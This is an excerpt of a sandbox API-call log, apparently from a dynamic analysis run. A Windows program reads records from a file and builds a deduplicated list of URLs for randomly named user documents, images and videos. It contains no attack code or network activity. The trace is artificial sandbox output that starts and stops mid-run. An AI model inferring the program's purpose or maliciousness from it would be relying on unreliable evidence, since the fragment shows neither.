[0079.334] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
[0079.334] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.334] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.334] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6200
[0079.334] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.334] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/HVaZIbCRv6_Z.pps" | out: _Str="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps"
[0079.334] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 55
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.334] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.335] wcscmp (_String1="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.335] wcslen (_String="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 0x36
[0079.335] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.335] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.335] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.335] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25344, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6300
[0079.335] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.335] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/ocvZc9iYiPVO8CnF.pptx" | out: _Str="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx"
[0079.336] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 60
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.336] wcscmp (_String1="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.336] wcslen (_String="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 0x3b
[0079.336] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.336] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.337] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.337] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6400
[0079.337] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.337] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Pictures/8mDa7EUxWIFuAV/IPTJr58c5o.png" | out: _Str="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png"
[0079.337] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 67
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.337] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.338] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 0x42
[0079.338] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.338] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.338] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.338] SetFilePointer (in: hFile=0x9c, lDistanceToMove=25856, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6500
[0079.338] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.338] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Documents/h6QWuN0iE2g6emVH.pps" | out: _Str="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps"
[0079.338] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 59
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.338] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.339] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned 1
[0079.340] wcscmp (_String1="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned 1
[0079.340] wcslen (_String="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 0x3a
[0079.340] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.340] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.340] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.340] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26112, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6600
[0079.340] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
[0079.340] _strlwr (in: _Str="file:///C:/Users/ATVeyDl98Z/Videos/aUcHwAavvK9r/7u7FB7eBK.swf" | out: _Str="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf"
[0079.341] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12755c, cbMultiByte=-1, lpWideCharStr=0x1232e0, cchWideChar=8192 | out: lpWideCharStr="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 62
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 1
[0079.341] wcscmp (_String1="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned 1
[0079.341] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.341] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x123288, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123288*=0x8, lpOverlapped=0x0) returned 1
[0079.341] _memicmp (_Buf1=0x1274e0, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.341] SetFilePointer (in: hFile=0x9c, lDistanceToMove=26368, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6700
[0079.342] ReadFile (in: hFile=0x9c, lpBuffer=0x1274e0, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x123284, lpOverlapped=0x0 | out: lpBuffer=0x1274e0*, lpNumberOfBytesRead=0x123284*=0x100, lpOverlapped=0x0) returned 1
